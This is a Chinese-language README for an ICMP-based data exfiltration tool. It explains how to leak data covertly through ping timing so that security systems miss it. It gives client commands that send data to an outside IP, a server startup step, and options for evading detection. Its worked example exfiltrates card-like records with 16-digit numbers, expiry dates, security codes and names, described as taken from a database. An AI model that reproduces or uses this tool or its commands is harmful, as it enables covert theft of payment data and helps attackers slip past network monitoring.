ICMP Exfil 允许你通过合法的ICMP数据包传输数据。你使用客户端脚本传入要外传的数据,然后在接收设备上运行服务器。任何观察者(无论是人类还是安全系统)都只会看到合法的ICMP数据包,这些数据包的结构没有任何恶意。你的数据并未隐藏在ICMP数据包内部,因此查看数据包并不能告诉你外传了什么内容。

Martino Jones,martinojones.com。
目前,我仅添加了对ASCII字符的支持。你可以外传任何能用ASCII字符表示的内容(例如字母和数字)。例如:你搞到了一些很酷的16位数字,你可以使用客户端脚本将这些数字传给服务器,操作如下:./ping.py --ascii "4111111111111111"。
你有两种方法设置目标服务器:使用 --ip 参数,或者在脚本中设置名为 ipToPing 的默认IP。
如果你想更耐心一些,并让他人更难察觉到你在外传数据,你可以使用 --wait 指定最小时间加上数据传输所需的时间。该功能仍在开发中……因此你需要自行进行转换,但用不了多久我就会添加……其实这也关系不大,因为大多数人和安全系统目前甚至都无法检测到这种行为。
如果你想查看发出的ping包,可以使用 --show 参数。
启动服务器时只需执行 sudo python3 server.py,无需其他操作。完成后,只需按 Control+C 即可。目前服务器仍需改进,它需要根据数据来源进行输入映射;目前我只测试了单个客户端向服务器发送ping的情况,这当然需要调整。基础框架已经搭建完成,只需完成后续完善工作即可。
我找到一个包含大量16位数字的数据库,我需要保存它们以供进一步研究,因此将它们保存到一个名为 file 的文件中:
命令: ./ping.py --ip 1.2.3.4 --asciiFile file
文件内容: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
编码后的数据: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
服务器端:
计算偏移量
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
如果你愿意提供帮助,我还有很多功能需要添加: